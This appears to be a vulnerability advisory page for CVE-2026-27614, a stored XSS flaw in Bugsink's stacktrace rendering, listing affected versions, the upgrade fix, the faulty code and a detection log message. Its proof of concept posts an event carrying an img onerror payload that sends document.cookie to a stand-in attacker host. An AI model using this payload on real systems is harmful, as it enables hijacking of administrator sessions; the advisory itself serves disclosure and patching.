Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering
CVE-2026-27614 · GHSA-vp6q-7m36-pq3w · PYSEC-2026-301 · published 25 Feb 2026
How serious is it
- Severity: critical, CVSS score 9.3 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-27614?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
bugsink(PyPI) <= 2.0.12
How to check
- Run
pip show bugsinkin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
bugsinkto 2.0.13 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.
The payload executes only if a user explicitly views the affected Stacktrace in the web UI.
### Details
When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.
```python
# issues.py:75-77 - fallback path, no escaping
if len(pygmented) != len(lines):
return lines # raw HTML returned here
# issues.py:111-113 - unconditional mark_safe
return [mark_safe(line) for line in result]
```
### Operational Signals
Exploitation attempts are likely to generate the diagnostic event:
```
"Pygments line count mismatch, falling back to unformatted code"
```
Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors)
may see this message as an issue. While the condition can occur benignly, unexpected
occurrences, especially from unusual languages (specifically ruby), warrant review.
### PoC
Send a Sentry event to `/api/<project-id>/store/` with a valid DSN:
```python
import requests
payload = {
"exception": {"values": [{"stacktrace": {"frames": [{
"filename": "app.rb",
"lineno": 2,
"pre_context": ["<<~HEREDOC", " foo", "HEREDOC"],
"context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
"post_context": []
}]}}]}
}
requests.post(
"http://bugsink-host/api/<project-id>/store/",
json=payload,
headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)
```
Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.
### Impact
This is a stored XSS vulnerability.
Successful exploitation requires:
* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it).
* The Bugsink ingest endpoint is reachable to the attacker.
* An administrator explicitly views the crafted event in the UI.
Under those conditions, the attacker can execute JavaScript in the administrator’s browser
and act with that user’s privileges within Bugsink.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/bugsink/bugsink/security/advisories/GHSA-vp6q-7m36-pq3w
- nvd.nist.gov/vuln/detail/CVE-2026-27614
- github.com/bugsink/bugsink/commit/e784d6aeb0d5f29b40c2779d2544c2b9ef097ee9
- github.com/bugsink/bugsink/releases/tag/2.0.13
- github.com/pypa/advisory-database/tree/main/vulns/bugsink/PYSEC-2026-301.yaml
- pypi.org/project/bugsink
- github.com/advisories/GHSA-vp6q-7m36-pq3w
- github.com/bugsink/bugsink
Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON